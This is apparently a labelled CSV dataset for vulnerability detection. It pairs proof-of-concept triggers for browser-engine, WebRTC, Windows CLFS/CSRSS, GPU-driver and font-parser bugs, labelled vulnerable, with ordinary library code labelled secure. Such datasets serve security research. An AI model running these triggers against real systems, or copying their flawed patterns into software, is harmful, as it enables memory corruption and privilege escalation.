File size: 35,229 Bytes
5098f9e |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 |
text,label
"function foo(bug) {
function C(z) {
Error.prepareStackTrace = function(t, B) {
return B[z].getThis();
};
let p = Error().stack;
Error.prepareStackTrace = null;
return p;
}
function J() {}
var optim = false;
var opt = new Function(
'a', 'b', 'c',
'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
'g++;'.repeat(70));
var e = null;
J.prototype.d = new Function(
'a', 'b', '""use strict"";b.a.call(arguments,b);return arguments[a];');
J.prototype.a = new Function('a', 'a.b(0,a)');
J.prototype.b = new Function(
'a', 'b',
'b.c();if(a){' +
'g++;'.repeat(70) + '}');
J.prototype.c = function() {
if (optim) {
var z = C(3);
var p = C(3);
z[0] = 0;
e = {M: z, C: p};
}
};
var a = new J();
// jit optim
if (bug) {
for (var V = 0; 1E4 > V; V++) {
opt(0 == V % 4 ? 1 : 4, a, 1);
}
}
optim = true;
opt(1, a, 1);
return e;
}
e1 = foo(false);
console.log(e1.M === e1.C); // prints true.
e2 = foo(true);
console.log(e2.M === e2.C); // should be true as above but prints false.",0 (vulnerable)
"<html>
<head>
<script>
var canvas = document.createElement('canvas');
function createConnection() {
var pc = new RTCPeerConnection({
iceServers: [],
iceTransportPolicy: 'relay'
});
var encodings = [];
for (var i = 0; i < 2; i++) {
encodings.push({ rid: String.fromCharCode(97 + i) });// rid must be alphabetic and unique
}
pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
return pc;
}
function sdp_munge(offer) {
let sdp = offer.sdp;
sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
offer.sdp = sdp;
return offer;
}
async function trigger(pc) {
var pc = createConnection(); // create an WebRTC connection with
var offer = await pc.createOffer(); // create an offer
var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
await pc.setLocalDescription(munged_offer); // set the local description with the sdp
}
trigger();
</script>
</head>
</html>",0 (vulnerable)
"__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
{
...
v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
v9 = v11;
v16 = v11;
if ( v11 >= 0 )
{
pContainer = *((_QWORD *)containerContext + 3);
if ( pContainer )
{
*((_QWORD *)containerContext + 3) = 0i64;
ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
v4 = 0;
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
v9 = v16;
goto LABEL_20;
}
goto LABEL_19;
}
...
} v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
if ( v44 == -1 )
{
*((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
v72 = v20;
if ( v20 < 0 )
goto LABEL_134;
v23 = v78;
v34 = (unsigned int)(v34 + 1);
v79 = v34;
} ...
// Obtain all container contexts represented in blf
// save pContainer class pointer for each valid container context
for ( i = 0; i < 0x400; ++i )
{
v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
v15 = (char *)this + 8 * i;
if ( v20 >= 0 )
{
v16 = v22;
*((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
*((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
CClfsBaseFile::ReleaseContainerContext(this, &v22);
}
else
{
*((_QWORD *)v15 + 56) = 0i64;
}
}
// Stage [1] enode block, prepare it for writing
ClfsEncodeBlock(
(struct _CLFS_LOG_BLOCK_HEADER *)v9,
*(unsigned __int16 *)(v9 + 4) << 9,
*(_BYTE *)(v9 + 2),
0x10u,
1u);
// write modified data
v10 = CClfsContainer::WriteSector(
*((CClfsContainer **)this + 19),
*((struct _KEVENT **)this + 20),
0i64,
*(void **)(*((_QWORD *)this + 6) + 24 * v8),
*(unsigned __int16 *)(v9 + 4),
&v23);
...
if ( v7 )
{
// Stage [2] Decode file again for futher processing in clfs.sys
ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
// optain new pContainer class pointer
v17 = (_QWORD *)((char *)this + 448);
do
{
// Stage [3] for each valid container
// update pContainer field
if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
{
*((_QWORD *)v22 + 3) = *v17;
CClfsBaseFile::ReleaseContainerContext(this, &v22);
}
++v6;
++v17;
}
while ( v6 < 0x400 );
}
...",0 (vulnerable)
"static struct kbase_va_region *kbase_mem_from_user_buffer(
struct kbase_context *kctx, unsigned long address,
unsigned long size, u64 *va_pages, u64 *flags)
{
[...]
+ int write;
[...]
+ write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
+
#if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE
faulted_pages = get_user_pages(current, current->mm, address, *va_pages,
#if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \
KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE
- reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
- pages, NULL);
+ write ? FOLL_WRITE : 0, pages, NULL);
#else
- reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
+ write, 0, pages, NULL);
#endif
#elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE
faulted_pages = get_user_pages(address, *va_pages,
- reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
+ write, 0, pages, NULL);
#else
faulted_pages = get_user_pages(address, *va_pages,
- reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
- pages, NULL);
+ write ? FOLL_WRITE : 0, pages, NULL);
#endif",0 (vulnerable)
"input = document.body.appendChild(document.createElement(""input""));
foo = document.body.appendChild(document.createElement(""a""));
foo.id = ""foo"";
// Go to state1 when history.back is called
// The URL needs to be <currentPage+hash> to trigger loadInSameDocument during the call to back()
// Since the foo's element id=""foo"", focus will change to that element
history.pushState(""state1"", """", location + ""#foo"");
// Current state = state2
history.pushState(""state2"", """");
setTimeout(() => {
// Set the focus on the input element.
// During the call to back() the focus will change to the foo element
// and therefore triggering the blur event on the input element
input.focus();
input.onblur = () => history.replaceState(""state3"", """");
setTimeout(() => history.back(), 1000);
}, 1000);",0 (vulnerable)
"var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
function hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = new WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = {'h' : i};
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
let retMap = new WeakMap();
map.set(thisKey, retMap);
return thisKey;
}
}
}
function getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
return thisKey;
}
}
}
function setUpWeakMap(map) {
let hk = hideWeakMap(map, level, initKey);
let hiddenMap = map.get(hk);
let map7 = new WeakMap();
let map8 = new WeakMap();
let k5 = {k5 : 1};
let map5 = new WeakMap();
let k7 = {k7 : 1};
let k9 = {k9 : 1};
let k8 = {k8 : 1};
let v9 = {};
map.set(k7, map7);
map.set(k9, v9);
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
map5.set(hk, k7);
map7.set(k8, map8);
map7.set(k7, k8);
map8.set(k8,k9);
}
function main() {
setUpWeakMap(map1);
new ArrayBuffer(0x7fe00000);
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
console.log(map1.get(map8.get(k8)));
}
while (true) {
try {
main();
} catch (err) {}
}",0 (vulnerable)
"function store(y) {
x = y;
}
function load() {
return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};
store(x1);
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1;
%OptimizeFunctionOnNextCall(store);
store(x2);
x.b = 1;
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();
store(x3);
%DebugPrint(load());",0 (vulnerable)
"global_object = {};
setPropertyViaEmbed = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;
embed.type = 'text/html';
Object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value;
embed.remove();
}
createCorruptedPair = (value_1, value_2) => {
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1;
setPropertyViaEmbed(object_1, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = value_1;
});
const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1;
setPropertyViaEmbed(object_2, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1;
object_1.regular_prop = 1.1
});
return [object_1, object_2];
}
const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);
jit = (object) => {
return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
jit(object_1);
jit(object_2);",0 (vulnerable)
"int SetBlendDesignPositions(void *arg) {
int num_master;
Fixed16_16 values[16][15];
for (num_master = 0; ; num_master++) {
if (GetToken() != TOKEN_OPEN) {
break;
}
int values_read = GetOpenFixedArray(&values[num_master], 15);
SetNumAxes(values_read);
}
SetNumMasters(num_master);
for (int i = 0; i < num_master; i++) {
procs->BlendDesignPositions(i, &values[i]);
}
return 0;
}",0 (vulnerable)
"#include <stdint.h>
#include <stdio.h>
#include <windows.h>
#include <string>
const char* MANIFEST_CONTENTS =
""<?xml version='1.0' encoding='UTF-8' standalone='yes'?>""
""<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>""
""<assemblyIdentity name='@' version='1.0.0.0' type='win32' ""
""processorArchitecture='amd64'/>""
""</assembly>"";
const WCHAR* NULL_BYTE_STR = L""\x00\x00"";
const WCHAR* MANIFEST_NAME =
L""msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_""
L""d761caeca23d64a2.manifest"";
const WCHAR* PATH = L""\\\\.\\c:Windows\\"";
const WCHAR* MODULE = L""System.Data.SqlXml.Resources"";
typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
ULONG BufferSize);
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;
typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
PVOID CaptureBuffer,
ULONG ApiNumber,
ULONG DataLength);
f_CsrClientCallServer CsrClientCallServer;
typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
PCSTR String,
ULONG Length,
ULONG MaximumLength,
PSTR OutputString);
f_CsrCaptureMessageString CsrCaptureMessageString;
NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
PCWSTR String, ULONG Length = 0) {
if (Length == 0) {
Length = lstrlenW(String);
}
return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
Length * 2 + 2, OutputString);
}
int main() {
HMODULE Ntdll = LoadLibrary(L""Ntdll.dll"");
CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
Ntdll, ""CsrAllocateCaptureBuffer"");
CsrClientCallServer =
(f_CsrClientCallServer)GetProcAddress(Ntdll, ""CsrClientCallServer"");
CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
Ntdll, ""CsrCaptureMessageString"");
char Message[0x220];
memset(Message, 0, 0x220);
PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);
std::string Manifest = MANIFEST_CONTENTS;
Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');
// There's no public definition of the relevant CSR_API_MSG structure.
// The offsets and values are taken directly from the exploit.
*(uint32_t*)(Message + 0x40) = 0xc1;
*(uint16_t*)(Message + 0x44) = 9;
*(uint16_t*)(Message + 0x59) = 0x201;
// CSRSS loads the manifest contents from the client process memory;
// therefore, it doesn't have to be stored in the capture buffer.
*(const char**)(Message + 0x80) = Manifest.c_str();
*(uint64_t*)(Message + 0x88) = Manifest.size();
*(uint64_t*)(Message + 0xf0) = 1;
CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);
// Triggers the issue by setting ApplicationName.MaxLength to a large value.
*(uint16_t*)(Message + 0x122) = 0x8000;
CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
}",0 (vulnerable)
"#include ""gtest/internal/gtest-filepath.h""
#include <stdlib.h>
#include ""gtest/gtest-message.h""
#include ""gtest/internal/gtest-port.h""
#if GTEST_OS_WINDOWS_MOBILE
#include <windows.h>
#elif GTEST_OS_WINDOWS
#include <direct.h>
#include <io.h>
#else
#include <limits.h>
#include <climits> // Some Linux distributions define PATH_MAX here.
#endif // GTEST_OS_WINDOWS_MOBILE
#include ""gtest/internal/gtest-string.h""
#if GTEST_OS_WINDOWS
#define GTEST_PATH_MAX_ _MAX_PATH
#elif defined(PATH_MAX)
#define GTEST_PATH_MAX_ PATH_MAX
#elif defined(_XOPEN_PATH_MAX)
#define GTEST_PATH_MAX_ _XOPEN_PATH_MAX
#else
#define GTEST_PATH_MAX_ _POSIX_PATH_MAX
#endif // GTEST_OS_WINDOWS
namespace testing {
namespace internal {
#if GTEST_OS_WINDOWS
// On Windows, '\\' is the standard path separator, but many tools and the
// Windows API also accept '/' as an alternate path separator. Unless otherwise
// noted, a file path can contain either kind of path separators, or a mixture
// of them.
const char kPathSeparator = '\\';
const char kAlternatePathSeparator = '/';
const char kAlternatePathSeparatorString[] = ""/"";
#if GTEST_OS_WINDOWS_MOBILE
// Windows CE doesn't have a current directory. You should not use
// the current directory in tests on Windows CE, but this at least
// provides a reasonable fallback.
const char kCurrentDirectoryString[] = ""\\"";
// Windows CE doesn't define INVALID_FILE_ATTRIBUTES
const DWORD kInvalidFileAttributes = 0xffffffff;
#else
const char kCurrentDirectoryString[] = "".\\"";
#endif // GTEST_OS_WINDOWS_MOBILE
#else
const char kPathSeparator = '/';
const char kCurrentDirectoryString[] = ""./"";
#endif // GTEST_OS_WINDOWS
// Returns whether the given character is a valid path separator.
static bool IsPathSeparator(char c) {
#if GTEST_HAS_ALT_PATH_SEP_
return (c == kPathSeparator) || (c == kAlternatePathSeparator);
#else
return c == kPathSeparator;
#endif
}
// Returns the current working directory, or """" if unsuccessful.
FilePath FilePath::GetCurrentDir() {
#if GTEST_OS_WINDOWS_MOBILE || GTEST_OS_WINDOWS_PHONE || \
GTEST_OS_WINDOWS_RT || GTEST_OS_ESP8266 || GTEST_OS_ESP32 || \
GTEST_OS_XTENSA || GTEST_OS_QURT
// These platforms do not have a current directory, so we just return
// something reasonable.
return FilePath(kCurrentDirectoryString);
#elif GTEST_OS_WINDOWS
char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
return FilePath(_getcwd(cwd, sizeof(cwd)) == nullptr ? """" : cwd);
#else
char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
char* result = getcwd(cwd, sizeof(cwd));
#if GTEST_OS_NACL
// getcwd will likely fail in NaCl due to the sandbox, so return something
// reasonable. The user may have provided a shim implementation for getcwd,
// however, so fallback only when failure is detected.
return FilePath(result == nullptr ? kCurrentDirectoryString : cwd);
#endif // GTEST_OS_NACL
return FilePath(result == nullptr ? """" : cwd);
#endif // GTEST_OS_WINDOWS_MOBILE
}",1 (secure)
"#pragma once
#include <Core/Types.h>
#include <Common/Exception.h>
#include <Common/intExp.h>
#include <base/arithmeticOverflow.h>
#include <limits>
#include <type_traits>
namespace DB
{
template <typename T>
class DataTypeNumber;
namespace ErrorCodes
{
extern const int DECIMAL_OVERFLOW;
extern const int ARGUMENT_OUT_OF_BOUND;
}
namespace DecimalUtils
{
inline constexpr size_t min_precision = 1;
template <typename T> inline constexpr size_t max_precision = 0;
template <> inline constexpr size_t max_precision<Decimal32> = 9;
template <> inline constexpr size_t max_precision<Decimal64> = 18;
template <> inline constexpr size_t max_precision<DateTime64> = 18;
template <> inline constexpr size_t max_precision<Decimal128> = 38;
template <> inline constexpr size_t max_precision<Decimal256> = 76;
template <typename T>
inline auto scaleMultiplier(UInt32 scale)
{
if constexpr (std::is_same_v<T, Int32> || std::is_same_v<T, Decimal32>)
return common::exp10_i32(scale);
else if constexpr (std::is_same_v<T, Int64> || std::is_same_v<T, Decimal64> || std::is_same_v<T, DateTime64>)
return common::exp10_i64(scale);
else if constexpr (std::is_same_v<T, Int128> || std::is_same_v<T, Decimal128>)
return common::exp10_i128(scale);
else if constexpr (std::is_same_v<T, Int256> || std::is_same_v<T, Decimal256>)
return common::exp10_i256(scale);
}
/** Components of DecimalX value:
* whole - represents whole part of decimal, can be negative or positive.
* fractional - for fractional part of decimal, always positive.
*/
template <typename DecimalType>
struct DecimalComponents
{
using T = typename DecimalType::NativeType;
T whole;
T fractional;
};
/// Traits used for determining final Type/Precision/Scale for certain math operations on decimals.
template <typename T>
struct DataTypeDecimalTrait
{
using FieldType = T;
const UInt32 precision;
const UInt32 scale;
DataTypeDecimalTrait(UInt32 precision_, UInt32 scale_)
: precision(precision_),
scale(scale_)
{}
/// @returns multiplier for U to become T with correct scale
template <typename U>
T scaleFactorFor(const DataTypeDecimalTrait<U> & x, bool) const
{
if (scale < x.scale)
throw Exception(""Decimal result's scale is less than argument's one"", ErrorCodes::ARGUMENT_OUT_OF_BOUND);
const UInt32 scale_delta = scale - x.scale; /// scale_delta >= 0
return DecimalUtils::scaleMultiplier<typename T::NativeType>(scale_delta);
}
};
",1 (secure)
"#include <SFML/System/Err.hpp>
#include <SFML/Window/SensorManager.hpp>
#include <ostream>
namespace sf
{
namespace priv
{
////////////////////////////////////////////////////////////
SensorManager& SensorManager::getInstance()
{
static SensorManager instance;
return instance;
}
////////////////////////////////////////////////////////////
bool SensorManager::isAvailable(Sensor::Type sensor)
{
return m_sensors[sensor].available;
}
////////////////////////////////////////////////////////////
void SensorManager::setEnabled(Sensor::Type sensor, bool enabled)
{
if (m_sensors[sensor].available)
{
m_sensors[sensor].enabled = enabled;
m_sensors[sensor].sensor.setEnabled(enabled);
}
else
{
err() << ""Warning: trying to enable a sensor that is not available (call Sensor::isAvailable to check it)""
<< std::endl;
}
}
////////////////////////////////////////////////////////////
bool SensorManager::isEnabled(Sensor::Type sensor) const
{
return m_sensors[sensor].enabled;
}
////////////////////////////////////////////////////////////
Vector3f SensorManager::getValue(Sensor::Type sensor) const
{
return m_sensors[sensor].value;
}
////////////////////////////////////////////////////////////
void SensorManager::update()
{
for (Item& item : m_sensors)
{
// Only process available sensors
if (item.available)
item.value = item.sensor.update();
}
}
////////////////////////////////////////////////////////////
SensorManager::SensorManager()
{
// Global sensor initialization
SensorImpl::initialize();
// Per sensor initialization
for (int i = 0; i < Sensor::Count; ++i)
{
// Check which sensors are available
m_sensors[i].available = SensorImpl::isAvailable(static_cast<Sensor::Type>(i));
// Open the available sensors
if (m_sensors[i].available)
{
if (m_sensors[i].sensor.open(static_cast<Sensor::Type>(i)))
{
m_sensors[i].sensor.setEnabled(false);
}
else
{
m_sensors[i].available = false;
err() << ""Warning: sensor "" << i << "" failed to open, will not be available"" << std::endl;
}
}
}
}
////////////////////////////////////////////////////////////
SensorManager::~SensorManager()
{
// Per sensor cleanup
for (Item& item : m_sensors)
{
if (item.available)
item.sensor.close();
}
// Global sensor cleanup
SensorImpl::cleanup();",1 (secure)
"#pragma once
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#ifdef _WIN32
#include <winsock.h>
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#endif
#include <vector>
#include <iostream>
#include <fstream>
#include <time.h>
#define STD_PORT 9777
#define MS_ABSOLUTE 0x01
//#define MS_RELATIVE 0x02
#define BTN_USE_NAME 0x01
#define BTN_DOWN 0x02
#define BTN_UP 0x04
#define BTN_USE_AMOUNT 0x08
#define BTN_QUEUE 0x10
#define BTN_NO_REPEAT 0x20
#define BTN_VKEY 0x40
#define BTN_AXIS 0x80
#define PT_HELO 0x01
#define PT_BYE 0x02
#define PT_BUTTON 0x03
#define PT_MOUSE 0x04
#define PT_PING 0x05
#define PT_BROADCAST 0x06
#define PT_NOTIFICATION 0x07
#define PT_BLOB 0x08
#define PT_LOG 0x09
#define PT_ACTION 0x0A
#define PT_DEBUG 0xFF
#define ICON_NONE 0x00
#define ICON_JPEG 0x01
#define ICON_PNG 0x02
#define ICON_GIF 0x03
#define MAX_PACKET_SIZE 1024
#define HEADER_SIZE 32
#define MAX_PAYLOAD_SIZE (MAX_PACKET_SIZE - HEADER_SIZE)
#define MAJOR_VERSION 2
#define MINOR_VERSION 0
#define LOGDEBUG 0
#define LOGINFO 1
#define LOGNOTICE 2
#define LOGWARNING 3
#define LOGERROR 4
#define LOGSEVERE 5
#define LOGFATAL 6
#define LOGNONE 7
#define ACTION_EXECBUILTIN 0x01
#define ACTION_BUTTON 0x02
class CAddress
{
private:
struct sockaddr_in m_Addr;
public:
CAddress(int Port = STD_PORT)
{
m_Addr.sin_family = AF_INET;
m_Addr.sin_port = htons(Port);
m_Addr.sin_addr.s_addr = INADDR_ANY;
memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
}
CAddress(const char *Address, int Port = STD_PORT)
{
m_Addr.sin_port = htons(Port);
struct hostent *h;
if (Address == NULL || (h=gethostbyname(Address)) == NULL)
{
if (Address != NULL)
printf(""Error: Get host by name\n"");
m_Addr.sin_addr.s_addr = INADDR_ANY;
m_Addr.sin_family = AF_INET;
}
else
{
m_Addr.sin_family = h->h_addrtype;
m_Addr.sin_addr = *((struct in_addr *)h->h_addr);
}
memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
}
void SetPort(int port)
{
m_Addr.sin_port = htons(port);
}
const sockaddr *GetAddress()
{
return ((struct sockaddr *)&m_Addr);
}
bool Bind(int Sockfd)
{
return (bind(Sockfd, (struct sockaddr *)&m_Addr, sizeof m_Addr) == 0);
}
};
class XBMCClientUtils
{
public:
XBMCClientUtils() = default;
~XBMCClientUtils() = default;
static unsigned int GetUniqueIdentifier()
{
static time_t id = time(NULL);
return id;
}
static void Clean()
{
#ifdef _WIN32
WSACleanup();
#endif
}
static bool Initialize()
{
#ifdef _WIN32
WSADATA wsaData;
if (WSAStartup(MAKEWORD(1, 1), &wsaData))
return false;
#endif
return true;
}
};
class CPacket",1 (secure)
"#ifndef BOOST_BEAST_WEBSOCKET_OPTION_HPP
#define BOOST_BEAST_WEBSOCKET_OPTION_HPP
#include <boost/beast/core/detail/config.hpp>
namespace boost {
namespace beast {
namespace websocket {
/** permessage-deflate extension options.
These settings control the permessage-deflate extension,
which allows messages to be compressed.
@note Objects of this type are used with
@ref beast::websocket::stream::set_option.
*/
struct permessage_deflate
{
/// `true` to offer the extension in the server role
bool server_enable = false;
/// `true` to offer the extension in the client role
bool client_enable = false;
/** Maximum server window bits to offer
@note Due to a bug in ZLib, this value must be greater than 8.
*/
int server_max_window_bits = 15;
/** Maximum client window bits to offer
@note Due to a bug in ZLib, this value must be greater than 8.
*/
int client_max_window_bits = 15;
/// `true` if server_no_context_takeover desired
bool server_no_context_takeover = false;
/// `true` if client_no_context_takeover desired
bool client_no_context_takeover = false;
/// Deflate compression level 0..9
int compLevel = 8;
/// Deflate memory level, 1..9
int memLevel = 4;
/// The minimum size a message should have to be compressed
std::size_t msg_size_threshold = 0;
};
} // websocket
} // beast
} // boost
#endif",1 (secure)
"#include <cstdlib>
#include <iostream>
